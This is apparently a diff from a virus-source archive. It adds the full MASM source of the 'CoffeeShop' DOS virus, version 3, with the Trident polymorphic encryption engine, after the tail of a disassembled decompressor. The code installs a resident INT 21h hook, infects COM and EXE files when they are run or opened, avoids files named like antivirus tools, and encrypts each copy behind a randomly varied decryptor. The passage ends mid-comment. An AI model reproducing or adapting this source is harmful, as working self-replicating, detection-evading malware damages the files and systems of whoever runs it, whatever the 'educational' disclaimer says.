and [bp+si-45F9h],ch + esc 0,[bx+di-8] ; coprocessor escape + inc di + xchg di,ax + call $-171Ch + clc ; Clear carry flag + xchg ax,dx + hlt ; Halt processor + add [di],bl + db 60h,0D8h,0E8h, 09h,0DCh,0FEh + db 09h,0F8h,0B0h, 23h,0F8h, 5Ch + db 0D7h,0FCh,0F8h,0FCh,0E8h, 01h + db 3Bh,0F4h,0ECh, 80h,0D2h, 1Dh + db 0BEh,0BAh, 5Ch, 20h, 7Ch, 03h + db 75h, 60h,0CAh, 20h, 0Eh,0B2h + db 0D8h, 81h,0F0h, 3Bh, 40h, 92h + db 0D7h,0B5h,0CEh,0F8h,0DCh, 60h + db 0A7h, 41h,0DEh, 60h, 02h,0B5h + db 0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h + db 65h, 07h, 15h, 60h, 6Eh, 42h + db 68h,0B8h, 20h,0FEh,0FCh,0AEh + db 23h,0FCh,0E2h, 7Fh, 07h,0C0h + db 0B3h, 20h, 2Fh, 60h, 79h, 28h + db 6Ah,0DEh, 7Eh,0E0h, 08h,0D5h + db 09h,0E4h,0C0h, 60h,0C1h, 70h + db 0Bh,0DFh,0E4h, 42h,0D0h, 7Bh + db 4Fh, 5Eh, 9Ah, 05h,0ADh + db 22h + db 06h, 80h, 70h, 10h, 60h, 3Eh + db 05h,0CAh, 5Eh, 41h, 46h,0A4h + db 53h,0EFh, 15h + db 7Ah + db 97h,0C2h, 54h, 74h, 04h, 20h + db 60h, 50h, 45h, 01h,0C8h,0E8h + db 0DCh, 05h,0F9h, 06h, 54h,0D8h + db 0DEh, 41h, 2Dh, 78h, 7Ah, 01h + db 55h, 75h, 04h, 20h, 76h, 1Dh + db 0B8h, 2Eh,0EAh,0A0h,0C6h, 62h + db 55h, 83h, 8Ah, 5Eh, 09h,0C0h + db 0Ah, 5Ch, 20h,0C6h, 11h, 12h + db 0D0h, 2Ah, 74h, 58h, 5Dh, 5Eh + db 17h, 5Bh, 60h, 80h, 92h, 0Eh + db 40h,0EAh, 40h, 75h,0ACh, 62h + db 15h, 74h,0C4h, 59h, 5Eh,0C0h + db 9Dh,0C4h, 82h, 15h, 08h,0DCh + db 20h, 14h, 90h, 60h, 20h, 43h + db 66h, 62h, 94h, 50h, 3Bh, 65h + db 0ECh, 5Eh,0A4h, 1Dh,0CFh, 70h + db 80h,0C2h, 20h, 8Ah, 0Eh,0B2h + db 62h, 2Ah,0ECh, 69h,0CCh, 5Eh + db 80h, 55h,0BEh, 0Bh,0C0h, 80h + db 62h, 41h, 0Eh, 04h, 72h,0FEh + db 56h, 05h, 6Eh, 10h, 01h,0D5h + db 41h,0AEh,0FEh,0CEh, 9Eh,0D1h + db 08h,0FEh,0C4h,0E9h, 5Ch,0E6h + db 0AAh, 62h,0CCh,0C0h,0C8h, 01h + db 62h, 39h,0ECh, 6Ch,0F2h, 9Dh + db 62h,0BCh, 94h, 48h, 41h, 28h + db 4Ah, 45h, 38h, 26h,0FEh, 52h + db 1Ch, 5Ah, 5Fh,0FEh,0BEh, 40h + db 02h, 84h,0F2h, 0Ah,0B8h,0AEh + db 70h,0FEh,0FCh, 8Eh, 12h, 6Ah + db 0DEh, 54h,0D8h, 61h,0ACh, 50h + db 0B1h, 43h, 3Eh, 72h, 80h,0A3h + db 60h, 48h, 6Ah, 82h, 0Eh, 96h + db 02h, 66h, 3Ah, 6Ch, 58h, 84h + db 0B4h,0D1h, 01h, 5Ah, 48h, 3Ah + db 0EAh, 44h, 70h, 0Bh,0E8h,0D8h + db 24h, 9Eh, 28h, 12h, 73h,0C6h + db 54h,0D0h,0FFh + db 0F0h,0FFh, 60h, 34h, 50h, 00h + db 00h,0FFh + +; +; SUBROUTINE +; + +sub_14 proc near + shr bp,1 ; Shift w/zeros fill + dec dl + jnz loc_ret_38 ; Jump if not zero + lodsw ; String [si] to ax + mov bp,ax + mov dl,10h + +loc_ret_38: + retn +sub_14 endp + +loc_39: + call sub_14 + rcl bh,1 ; Rotate thru carry + call sub_14 + jc loc_42 ; Jump if carry Set + mov dh,2 + mov cl,3 + +locloop_40: + call sub_14 + jc loc_41 ; Jump if carry Set + call sub_14 + rcl bh,1 ; Rotate thru carry + shl dh,1 ; Shift w/zeros fill + loop locloop_40 ; Loop if cx > 0 + +loc_41: + sub bh,dh +loc_42: + mov dh,2 + mov cl,4 + +locloop_43: + inc dh + call sub_14 + jc loc_44 ; Jump if carry Set + loop locloop_43 ; Loop if cx > 0 + + call sub_14 + jnc loc_45 ; Jump if carry=0 + inc dh + call sub_14 + jnc loc_44 ; Jump if carry=0 + inc dh +loc_44: + mov cl,dh + jmp short locloop_51 +loc_45: + call sub_14 + jc loc_47 ; Jump if carry Set + mov cl,3 + mov dh,0 + +locloop_46: + call sub_14 + rcl dh,1 ; Rotate thru carry + loop locloop_46 ; Loop if cx > 0 + + add dh,9 + jmp short loc_44 +loc_47: + lodsb ; String [si] to al + mov cl,al + add cx,11h + jmp short locloop_51 +loc_48: + mov cl,3 + +locloop_49: + call sub_14 + rcl bh,1 ; Rotate thru carry + loop locloop_49 ; Loop if cx > 0 + + dec bh +loc_50: + mov cl,2 + +locloop_51: + mov al,es:[bx+di] + stosb ; Store al to es:[di] + loop locloop_51 ; Loop if cx > 0 + +loc_52: + call sub_14 + jnc loc_53 ; Jump if carry=0 + movsb ; Mov [si] to es:[di] + jmp short loc_52 +loc_53: + call sub_14 + lodsb ; String [si] to al + mov bh,0FFh + mov bl,al + jc loc_39 ; Jump if carry Set + call sub_14 + jc loc_48 ; Jump if carry Set + cmp bh,bl + jne loc_50 ; Jump if not equal + xor bp,bp ; Zero register + xor di,di ; Zero register + xor si,si ; Zero register + xor dx,dx ; Zero register + xor bx,bx ; Zero register + xor ax,ax ; Zero register + jmp $-1480h + +seg_a ends + + + + end start diff --git a/c/Coffshp3.asm b/c/Coffshp3.asm new file mode 100755 index 0000000..bf2786e --- /dev/null +++ b/c/Coffshp3.asm @@ -0,0 +1,1674 @@ +;****************************************************************************** +;* CoffeeShop VIRUS version 3 +;* +;* Use MASM 4.0 to compile this source +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;****************************************************************************** + + + .RADIX 16 + + +_TEXT segment + + assume cs:_TEXT, ds:_TEXT + + +VERSION equ 3 +PICLEN equ last - beeld ;length of picture routine +FILELEN equ last - first ;length of virus +FILEPAR equ (FILELEN + 0F)/10 ;length of virus in paragraphs +VIRPAR equ 00D0 ;space for resident virus +WORKPAR equ 0160 ;work space for engine +STACKOFF equ 1000 ;Stack offset +DATAPAR equ 0050 ;extra memory allocated +BUFLEN equ 1C ;length of buffer + + +;**************************************************************************** +;* data area for virus +;**************************************************************************** + + org 00E0 + +mutstack dw 0, 0 +oldlen dw 0, 0 +oi21 dw 0, 0 +minibuf db 0, 0, 0, 0 + + +;**************************************************************************** +;* data area for engine +;**************************************************************************** + +add_val dw 0 +xor_val dw 0 +xor_offset dw 0 +where_len dw 0 +where_len2 dw 0 +flags db 0 + + +;****************************************************************************** +;* Begin of virus, installation in memory +;****************************************************************************** + + org 0100 + +first: call next ;get IP +next: pop si + + sub si,low 3 ;SI = begin virus + mov di,0100 + cld + + push ax ;save registers + push ds + push es + push di + push si + + mov ah,30 ;DOS version >= 3.1? + int 21 + xchg ah,al + cmp ax,030A + jb not_install + + mov ax,33DA ;already resident? + int 21 + cmp ah,0A5 + je not_install + + mov ax,es ;adjust memory-size + dec ax + mov ds,ax + xor bx,bx + cmp byte ptr [bx],5A + jne not_install + mov ax,[bx+3] + sub ax,(VIRPAR+WORKPAR) + jb not_install + mov [bx+3],ax + sub word ptr ds:[bx+12],(VIRPAR+WORKPAR) + + mov es,[bx+12] ;copy program to top + push cs + pop ds + mov cx,FILELEN + rep movsb + + push es + pop ds + + mov ax,3521 ;get original int21 vector + int 21 + mov ds:[oi21],bx + mov ds:[oi21+2],es + + mov dx,offset ni21 ;install new int21 handler + mov ax,2521 + int 21 + + mov ax,33DBh ;init. random nr. generator + int 21 + + mov ah,2A ;ask date + int 21 + cmp al,5 ;friday ? + jne not_install + mov ah,2C ;ask time + int 21 + or dh,dh ;sec = 0 ? + jnz not_install + + mov ax,33DC ;show picture + int 21 + +not_install: pop si ;restore registers + pop di + pop es + pop ds + pop ax + + add si,(offset buffer) + sub si,di + cmp byte ptr cs:[si],4Dh ;COM or EXE ? + je entryE + +entryC: push di + mov cx,BUFLEN + rep movsb + ret + +entryE: mov bx,ds ;calculate CS + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;restore SS and SP + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;push new CS on stack + push cs:[si+14] ;push new IP on stack + db 0CBh ;retf + + +;****************************************************************************** +;* Interupt 24 handler +;****************************************************************************** + +ni24: mov al,3 ;to avoid 'Abort, Retry, ...' + iret + + +;****************************************************************************** +;* Interupt 21 handler +;****************************************************************************** + +ni21: pushf + + cmp ax,33DA ;install-check ? + jne not_ic + mov ax,0A500+VERSION ;return a signature + popf + iret + +not_ic: push es ;save registers + push ds + push si + push di + push dx + push cx + push bx + push ax + + cmp ax,33DBh ;rnd init ? + jne not_ri + call rnd_init + jmp short no_infect + +not_ri: cmp ax,33DC ;show picture? + je show_pic + +not_pi: cmp ax,4B00 ;execute ? + je do_it + + cmp ax,6C00 ;open DOS 4.0+ ? + jne no_infect + test bl,3 + jnz no_infect + mov dx,di + +do_it: call infect + +no_infect: pop ax ;restore registers + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf + +org21: jmp dword ptr cs:[oi21] ;call to old int-handler + + +;****************************************************************************** +;* Show picture +;****************************************************************************** + +show_pic: mov ax,offset no_infect ;push return adres on stack + push cs + push ax + + mov di,((VIRPAR*10)+0100) ;move picture routine + mov si,offset beeld + mov cx,PICLEN + push cs + pop ds + push cs + pop es + rep movsb + + mov ax,cs ;calculate segment registers + add ax,low VIRPAR + mov ds,ax + mov es,ax + + push ax ;push picture adres on stack + mov ax,0100 + push ax + + db 0CBh ;(retf) goto picture routine + + +;****************************************************************************** +;* Tries to infect the file +;****************************************************************************** + +infect: cld + + push cs ;copy filename to CS:0000 + pop es + mov si,dx + xor di,di + mov cx,0080 +namemove: lodsb + cmp al,0 + je moved + cmp al,'a' + jb char_ok + cmp al,'z' + ja char_ok + xor al,20 ;convert to upper case +char_ok: stosb + loop namemove +return0: ret + +moved: stosb ;put last zero after filename + lea si,[di-5] + push cs + pop ds + + lodsw ;check extension .COM or .EXE + cmp ax,'E.' + jne not_exe + lodsw + cmp ax,'EX' + jmp short check + +not_exe: cmp ax,'C.' + jne return0 + lodsw + cmp ax,'MO' +check: jne return0 + + std ;find begin of filename + mov cx,si + inc cx +searchbegin: lodsb + cmp al,':' + je checkname + cmp al,'\' + je checkname + loop searchbegin + dec si + +checkname: cld ;check filename + lodsw + lodsw + mov di,offset names + mov cl,13 + repnz scasw + je return0 + + mov ax,3300 ;get ctrl-break flag + int 21 + push dx ;save flag on stack + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524 ;get int24 vector + int 21 + push es ;save vector on stack + push bx + + push cs + pop ds + + mov dx,offset ni24 ;install new int24 handler + mov ah,25 + push ax + int 21 + + mov ax,4300 ;ask file-attributes + cwd + int 21 + push cx ;save attributes on stack + + xor cx,cx ;clear attributes + mov ax,4301 + push ax + int 21 + jc return1v + + mov ax,3D02 ;open the file + int 21 + jnc opened +return1v: jmp return1 + +opened: xchg ax,bx ;save handle + + mov ax,5700 ;get file date & time + int 21 + push dx ;save date & time on stack + push cx + + mov cx,BUFLEN ;read begin of file + mov si,offset buffer + mov dx,si + call read + jc closev + + mov ax,4202 ;goto end, get filelength + xor cx,cx + cwd + int 21 + + mov di,offset oldlen ;save filelength + mov [di],ax + mov [di+2],dx + + mov ax,word ptr [si+12] ;already infected? + add al,ah + cmp al,'@' + jz closev + + cmp word ptr [si],'ZM' ;EXE ? + je do_EXE + +do_COM: test byte ptr [si],80 ;maybe a strange EXE? + jz closev + + mov ax,word ptr [di] ;check lenght of file + cmp ah,0D0 + jae closev + cmp ah,1 + jb closev + + mov dx,ax + add dx,0100 + call writeprog ;call Engine and write virus + jne closev + + mov byte ptr [si],0E9 ;put 'JMP xxxx' at begin + sub ax,low 3 + mov word ptr [si+1],ax + jmp done + +closev: jmp close + +do_EXE: cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ? + jb not_win + + mov ax,003C + cwd + call readbytes + jc closev + + mov ax,word ptr [di+8] + mov dx,word ptr [di+0A] + call readbytes + jc closev + + cmp byte ptr [di+9],'E' + je closev + +not_win: call getlen + call calclen ;check for internal overlays + cmp word ptr [si+4],ax + jne close + cmp word ptr [si+2],dx + jne close + + cmp word ptr [si+0C],0 ;high memory allocation? + je close + + cmp word ptr [si+1A],0 ;overlay nr. not zero? + jne close + + call getlen ;calculate new CS & IP + mov cx,0010 + div cx + sub ax,word ptr [si+8] + dec ax + add dx,low 10 + + call writeprog ;call Engine and write virus + jne close + + mov word ptr [si+16],ax ;put CS in header + mov word ptr [si+0E],ax ;put SS in header + mov word ptr [si+14],dx ;put IP in header + mov word ptr [si+10],STACKOFF ;put SP in header + + call getlen + add ax,cx + adc dx,0 + call calclen ;put new length in header + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + lea di,[si+0A] ;adjust mem. allocation info + call mem_adjust + lea di,[si+0C] + call mem_adjust + +done: call gotobegin + call rnd_get ;signature + mov ah,'@' + sub ah,al + mov word ptr [si+12],ax + mov cx,BUFLEN ;write new begin + mov dx,si + mov ah,40 + int 21 + +close: pop cx ;restore date & time + pop dx + mov ax,5701 + int 21 + + mov ah,3E ;close the file + int 21 + +return1: pop ax ;restore attributes + pop cx + cwd + int 21 + + pop ax ;restore int24 vector + pop dx + pop ds + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + ret + + +;****************************************************************************** +;* Filenames to avoid +;****************************************************************************** + +names: db 'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI' + db 'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ' + db ' ', ' ', ' ' + + +;****************************************************************************** +;* Write virus to the program +;****************************************************************************** + +writeprog: push ax ;save registers + push dx + push si + push bp + push es + + cli + mov word ptr [di-4],ss ;save SS & SP + mov word ptr [di-2],sp + + mov ax,cs ;new stack & buffer-segment + mov ss,ax + mov sp,((VIRPAR + WORKPAR) * 10) + add ax,low VIRPAR + mov es,ax + sti + + push ds + + mov bp,dx ;input parameters for engine + mov dx,0100 + mov cx,FILELEN + xor si,si + mov al,0Fh + + push di + push bx + + call crypt ;call the Engine + + pop bx + pop di + + push cx + push dx + mov ax,4202 ;goto end + xor cx,cx + cwd + int 21 + pop dx + pop cx + + mov ah,40 ;write virus + int 21 + cmp ax,cx ;are all bytes written? + + pop ds + + cli + mov ss,word ptr [di-4] ;restore stack + mov sp,word ptr [di-2] + sti + + pop es ;restore registers + pop bp + pop si + pop dx + pop ax + + ret + + +;****************************************************************************** +;* Adjust mem allocation info in EXE header +;****************************************************************************** + +mem_adjust: mov ax,[di] + sub ax,low FILEPAR ;alloc. may be this much less + jb more + cmp ax,DATAPAR ;minimum amount to allocate + jae mem_ok +more: mov ax,DATAPAR +mem_ok: mov [di],ax + ret + + +;****************************************************************************** +;* Read a few bytes +;****************************************************************************** + +readbytes: call goto + mov dx,offset minibuf + mov cx,4 +read: mov ah,3F + int 21 + ret + + +;****************************************************************************** +;* Calculate length for EXE header +;****************************************************************************** + +calclen: mov cx,0200 + div cx + or dx,dx + jz no_cor + inc ax +no_cor: ret + + +;****************************************************************************** +;* Get original length of program +;****************************************************************************** + +getlen: mov ax,[di] + mov dx,[di+2] + ret + + +;****************************************************************************** +;* Goto new offset DX:AX +;****************************************************************************** + +gotobegin: xor ax,ax + cwd +goto: xchg cx,dx + xchg ax,dx + mov ax,4200 + int 21 + ret + + +;**************************************************************************** +;* +;* Encryption Engine +;* +;* +;* Input: ES work segment +;* DS:DX code to encrypt +;* BP what will be start of decryptor +;* SI what will be distance between decryptor and code +;* CX length of code +;* AX flags: bit 0: DS will not be equal to CS +;* bit 1: insert random instructions +;* bit 2: put junk before decryptor +;* bit 3: preserve AX with decryptor +;* +;* Output: ES: work segment (preserved) +;* DS:DX decryptor + encrypted code +;* BP what will be start of decryptor (preserved) +;* DI length of decryptor / offset of encrypted code +;* CX length of decryptor + encrypted code +;* AX length of encrypted code +;* (other registers may be trashed) +;* +;**************************************************************************** + + db '[ MK / Trident ]' + +crypt: xor di,di ;di = start of decryptor + push dx ;save offset of code + push si ;save future offset of code + + mov byte ptr ds:[flags],al ;save flags + test al,8 ;push AX? + jz no_push + mov al,50 + stosb + +no_push: call rnd_get ;add a few bytes to cx + and ax,1F + add cx,ax + push cx ;save length of code + + call rnd_get ;get random flags + xchg ax,bx + ;BX flags: + + ;0,1 how to encrypt + ;2,3 which register for encryption + ;4 use byte or word for encrypt + ;5 MOV AL, MOV AH or MOV AX + ;6 MOV CL, MOV CH or MOV CX + ;7 AX or DX + + ;8 count up or down + ;9 ADD/SUB/INC/DEC or CMPSW/SCASW + ;A ADD/SUB or INC/DEC + ; CMPSW or SCASW + ;B offset in XOR instruction? + ;C LOOPNZ or LOOP + ; SUB CX or DEC CX + ;D carry with crypt ADD/SUB + ;E carry with inc ADD/SUB + ;F XOR instruction value or AX/DX + +random: call rnd_get ;get random encryption value + or al,al + jz random ;again if 0 + mov ds:[xor_val],ax + + call do_junk ;insert random instructions + + pop cx + + mov ax,0111 ;make flags to remember which + test bl,20 ; MOV instructions are used + jnz z0 + xor al,07 +z0: test bl,0C + jnz z1 + xor al,70 +z1: test bl,40 + jnz z2 + xor ah,7 +z2: test bl,10 + jnz z3 + and al,73 +z3: test bh,80 + jnz z4 + and al,70 + +z4: mov dx,ax +mov_lup: call rnd_get ;put MOV instructions in + and ax,000F ; a random order + cmp al,0A + ja mov_lup + + mov si,ax + push cx ;test if MOV already done + xchg ax,cx + mov ax,1 + shl ax,cl + mov cx,ax + and cx,dx + pop cx + jz mov_lup + xor dx,ax ;remember which MOV done + + push dx + call do_mov ;insert MOV instruction + call do_nop ;insert a random NOP + pop dx + + or dx,dx ;all MOVs done? + jnz mov_lup + + push di ;save start of decryptor loop + + call do_add_ax ;add a value to AX in loop? + call do_nop + test bh,20 ;carry with ADD/SUB ? + jz no_clc + mov al,0F8 + stosb +no_clc: mov word ptr ds:[xor_offset],0 + call do_xor ;place all loop instructions + call do_nop + call do_add + + pop dx ;get start of decryptor loop + + call do_loop + + test byte ptr ds:[flags],8 ;insert POP AX ? + jz no_pop + mov al,58 + stosb + +no_pop: xor ax,ax ;calculate loop offset + test bh,1 ;up or down? + jz v1 + mov ax,cx + dec ax + test bl,10 ;encrypt with byte or word? + jz v1 + and al,0FE +v1: add ax,di + add ax,bp + pop si + add ax,si + sub ax,word ptr ds:[xor_offset] + mov si,word ptr ds:[where_len] + test bl,0C ;are BL,BH used for encryption? + jnz v2 + mov byte ptr es:[si],al + mov si,word ptr ds:[where_len2] + mov byte ptr es:[si],ah + jmp short v3 +v2: mov word ptr es:[si],ax + +v3: mov dx,word ptr ds:[xor_val] ;encryption value + + pop si ;ds:si = start of code + + push di ;save ptr to encrypted code + push cx ;save length of encrypted code + + test bl,10 ;byte or word? + jz blup + + inc cx ;cx = # of crypts (words) + shr cx,1 + +lup: lodsw ;encrypt code (words) + call do_encrypt + stosw + loop lup + jmp short klaar + + +blup: lodsb ;encrypt code (bytes) + xor dh,dh + call do_encrypt + stosb + loop blup + +klaar: mov cx,di ;cx = length decryptpr + code + pop ax ;ax = length of decrypted code + pop di ;di = offset encrypted code + xor dx,dx ;ds:dx = decryptor + cr. code + push es + pop ds + ret + + +;**************************************************************************** +;* encrypt the code +;**************************************************************************** + +do_encrypt: add dx,word ptr ds:[add_val] + test bl,2 + jnz lup1 + xor ax,dx + ret + +lup1: test bl,1 + jnz lup2 + sub ax,dx + ret + +lup2: add ax,dx + ret + + +;**************************************************************************** +;* generate mov reg,xxxx +;**************************************************************************** + +do_mov: mov dx,si + mov al,byte ptr ds:[si+mov_byte] + cmp dl,4 ;BX? + jne is_not_bx + call add_ind +is_not_bx: test dl,0C ;A*? + pushf + jnz is_not_a + test bl,80 ;A* or D*? + jz is_not_a + add al,2 + +is_not_a: call alter ;insert the MOV + + popf ;A*? + jnz is_not_a2 + mov ax,word ptr ds:[xor_val] + jmp short sss + +is_not_a2: test dl,8 ;B*? + jnz is_not_b + mov si,offset where_len + test dl,2 + jz is_not_bh + add si,2 +is_not_bh: mov word ptr ds:[si],di + jmp short sss + +is_not_b: mov ax,cx ;C* + test bl,10 ;byte or word encryption? + jz sss + inc ax ;only half the number of bytes + shr ax,1 +sss: test dl,3 ;byte or word register? + jz is_x + test dl,2 ;*H? + jz is_not_h + xchg al,ah +is_not_h: stosb + ret + +is_x: stosw + ret + + +;**************************************************************************** +;* insert MOV or alternative for MOV +;**************************************************************************** + +alter: push bx + push cx + push ax + call rnd_get + xchg ax,bx + pop ax + test bl,3 ;use alternative for MOV? + jz no_alter + + push ax + and bx,0F + and al,08 + shl ax,1 + or bx,ax + pop ax + + and al,7 + mov cl,9 + xchg ax,cx + mul cl + + add ax,30C0 + xchg al,ah + test bl,4 + jz no_sub + mov al,28 +no_sub: call maybe_2 + stosw + + mov al,80 + call maybe_2 + stosb + + mov ax,offset add_mode + xchg ax,bx + and ax,3 + xlat + + add al,cl +no_alter: stosb + pop cx + pop bx + ret + + +;**************************************************************************** +;* insert ADD AX,xxxx +;**************************************************************************** + +do_add_ax: push cx + mov si,offset add_val ;save add-value here + mov word ptr ds:[si],0 + mov ax,bx + and ax,8110 + xor ax,8010 + jnz no_add_ax ;use ADD? + + mov ax,bx + xor ah,ah + mov cl,3 + div cl + or ah,ah + jnz no_add_ax ;use ADD? + + test bl,80 + jnz do_81C2 ;AX or DX? + mov al,5 + stosb + jmp short do_add0 +do_81C2: mov ax,0C281 + stosw +do_add0: call rnd_get + mov word ptr ds:[si],ax + stosw +no_add_ax: pop cx + ret + + +;**************************************************************************** +;* generate encryption command +;**************************************************************************** + +do_xor: test byte ptr ds:[flags],1 + jz no_cs + mov al,2E ;insert CS: instruction + stosb + +no_cs: test bh,80 ;type of XOR command + jz xor1 + + call get_xor ;encrypt with register + call do_carry + call save_it + xor ax,ax + test bl,80 + jz xxxx + add al,10 +xxxx: call add_dir + test bh,8 + jnz yyyy + stosb + ret + +yyyy: or al,80 + stosb + call rnd_get + stosw + mov word ptr ds:[xor_offset],ax + ret + +xor1: mov al,080 ;encrypt with value + call save_it + call get_xor + call do_carry + call xxxx + mov ax,word ptr ds:[xor_val] + test bl,10 + jmp byte_word + + +;**************************************************************************** +;* generate increase/decrease command +;**************************************************************************** + +do_add: test bl,8 ;no CMPSW/SCASW if BX is used + jz da0 + test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW + jnz do_cmpsw + +da0: test bh,4 ;ADD/SUB or INC/DEC? + jz add1 + + mov al,40 ;INC/DEC + test bh,1 ;up or down? + jz add0 + add al,8 +add0: call add_ind + stosb + test bl,10 ;byte or word? + jz return + stosb ;same instruction again +return: ret + +add1: test bh,40 ;ADD/SUB + jz no_clc2 ;carry? + mov al,0F8 ;insert CLC + stosb +no_clc2: mov al,083 + stosb + mov al,0C0 + test bh,1 ;up or down? + jz add2 + mov al,0E8 +add2: test bh,40 ;carry? + jz no_ac2 + and al,0CF + or al,10 +no_ac2: call add_ind + stosb + mov al,1 ;value to add/sub +save_it: call add_1 + stosb + ret + +do_cmpsw: test bh,1 ;up or down? + jz no_std + mov al,0FDh ;insert STD + stosb +no_std: test bh,4 ;CMPSW or SCASW? + jz normal_cmpsw + test bl,4 ;no SCASW if SI is used + jnz do_scasw + +normal_cmpsw: mov al,0A6 ;CMPSB + jmp short save_it +do_scasw: mov al,0AE ;SCASB + jmp short save_it + + +;**************************************************************************** +;* generate loop command +;**************************************************************************** + +do_loop: test bh,1 ;no JNE if couting down + jnz loop_loop ; (prefetch bug!) + call rnd_get + test al,1 ;LOOPNZ/LOOP or JNE? + jnz cx_loop + +loop_loop: mov al,0E0 + test bh,1A ;LOOPNZ or LOOP? + jz ll0 ; no LOOPNZ if xor-offset + add al,2 ; no LOOPNZ if CMPSW/SCASW +ll0: stosb + mov ax,dx + sub ax,di + dec ax + stosb + ret + +cx_loop: test bh,10 ;SUB CX or DEC CX? + jnz cxl_dec + mov ax,0E983 + stosw + mov al,1 + stosb + jmp short do_jne + +cxl_dec: mov al,49 + stosb +do_jne: mov al,75 + jmp short ll0 + + +;**************************************************************************** +;* add value to AL depending on register type +;**************************************************************************** + +add_dir: mov si,offset dir_change + jmp short xx1 + +add_ind: mov si,offset ind_change +xx1: push bx + shr bl,1 + shr bl,1 + and bx,3 + add al,byte ptr ds:[bx+si] + pop bx + ret + + +;**************************************************************************** +;* mov encryption command byte to AL +;**************************************************************************** + +get_xor: push bx + mov ax,offset how_mode + xchg ax,bx + and ax,3 + xlat + pop bx + ret + + +;**************************************************************************** +;* change ADD into ADC +;**************************************************************************** + +do_carry: test bl,2 ;ADD/SUB used for encryption? + jz no_ac + test bh,20 ;carry with (encr.) ADD/SUB? + jz no_ac + and al,0CF + or al,10 +no_ac: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +add_1: test bl,10 + jz add_1_ret + inc al +add_1_ret: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +maybe_2: call add_1 + cmp al,81 ;can't touch this + je maybe_not + push ax + call rnd_get + test al,1 + pop ax + jz maybe_not + add al,2 +maybe_not: ret + + +;**************************************************************************** +;* get random nop (or not) +;**************************************************************************** + +do_nop: test byte ptr ds:[flags],2 + jz no_nop +yes_nop: call rnd_get + test al,3 + jz nop8 + test al,2 + jz nop16 + test al,1 + jz nop16x +no_nop: ret + + +;**************************************************************************** +;* Insert random instructions +;**************************************************************************** + +do_junk: test byte ptr ds:[flags],4 + jz no_junk + call rnd_get ;put a random number of + and ax,0F ; dummy instructions before + inc ax ; decryptor + xchg ax,cx +junk_loop: call junk + loop junk_loop +no_junk: ret + + +;**************************************************************************** +;* get rough random nop (may affect register values) +;**************************************************************************** + +junk: call rnd_get + and ax,1E + jmp short aa0 +nop16x: call rnd_get + and ax,06 +aa0: xchg ax,si + call rnd_get + jmp word ptr ds:[si+junkcals] + + +;**************************************************************************** +;* NOP and junk addresses +;**************************************************************************** + +junkcals dw offset nop16x0 + dw offset nop16x1 + dw offset nop16x2 + dw offset nop16x3 + dw offset nop8 + dw offset nop16 + dw offset junk6 + dw offset junk7 + dw offset junk8 + dw offset junk9 + dw offset junkA + dw offset junkB + dw offset junkC + dw offset junkD + dw offset junkE + dw offset junkF + + +;**************************************************************************** +;* NOP and junk routines +;**************************************************************************** + +nop16x0: and ax,000F ;J* 0000 (conditional) + or al,70 + stosw + ret + + +nop16x1: mov al,0EBh ;JMP xxxx / junk + and ah,07 + inc ah + stosw + xchg al,ah ;get lenght of bullshit + cbw + jmp fill_bullshit + + +nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg + stosb + ret + + +nop16x3: call junkF ;INC / DEC or DEC / INC + xor al,8 + stosb + ret + + +nop8: push bx ;8-bit NOP + and al,7 + mov bx,offset nop_data8 + xlat + stosb + pop bx + ret + + +nop16: push bx ;16-bit NOP + and ax,0303 + mov bx,offset nop_data16 + xlat + add al,ah + stosb + call rnd_get + and al,7 + mov bl,9 + mul bl + add al,0C0 + stosb + pop bx + ret + + +junk6: push cx ;CALL xxxx / junk / POP reg + mov al,0E8 + and ah,0F + inc ah + stosw + xor al,al + stosb + xchg al,ah + call fill_bullshit + call do_nop + call rnd_get ;insert POP reg + and al,7 + call no_sp + mov cx,ax + or al,58 + stosb + + test ch,3 ;more? + jnz junk6_ret + + call do_nop + mov ax,0F087 ;insert XCHG SI,reg + or ah,cl + test ch,8 + jz j6_1 + mov al,8Bh +j6_1: stosw + + call do_nop + push bx + call rnd_get + xchg ax,bx + and bx,0F7FBh ;insert XOR [SI],xxxx + or bl,8 + call do_xor + pop bx +junk6_ret: pop cx + ret + + +junk7: and al,0F ;MOV reg,xxxx + or al,0B0 + call no_sp + stosb + test al,8 + pushf + call rnd_get + popf + jmp short byte_word + + +junk8: and ah,39 ;DO r/m,r(8/16) + or al,0C0 + call no_sp + xchg al,ah + stosw + ret + + +junk9: and al,3Bh ;DO r(8/16),r/m + or al,2 + and ah,3F + call no_sp2 + call no_bp + stosw + ret + + +junkA: and ah,1 ;DO rm,xxxx + or ax,80C0 + call no_sp + xchg al,ah + stosw + test al,1 + pushf + call rnd_get + popf + jmp short byte_word + + +junkB: call nop8 ;NOP / LOOP + mov ax,0FDE2 + stosw + ret + + +junkC: and al,09 ;CMPS* or SCAS* + test ah,1 + jz mov_test + or al,0A6 + stosb + ret +mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx + stosb + cmp al,0A8 + pushf + call rnd_get + popf + jmp short byte_word + + +junkD: and al,07 ;XCHG AX,reg + or al,90 + call no_sp + stosb + ret + + +junkE: and ah,07 ;PUSH reg / POP reg + or ah,50 + mov al,ah + or ah,08 + stosw + ret + + +junkF: and al,0F ;INC / DEC + or al,40 + call no_sp + stosb + ret + + +;**************************************************************************** +;* store a byte or a word +;**************************************************************************** + +byte_word: jz only_byte + stosw + ret + +only_byte: stosb + ret + + +;**************************************************************************** +;* don't fuck with SP! +;**************************************************************************** + +no_sp: push ax + and al,7 + cmp al,4 + pop ax + jnz no_sp_ret + and al,0FBh +no_sp_ret: ret + + +;**************************************************************************** +;* don't 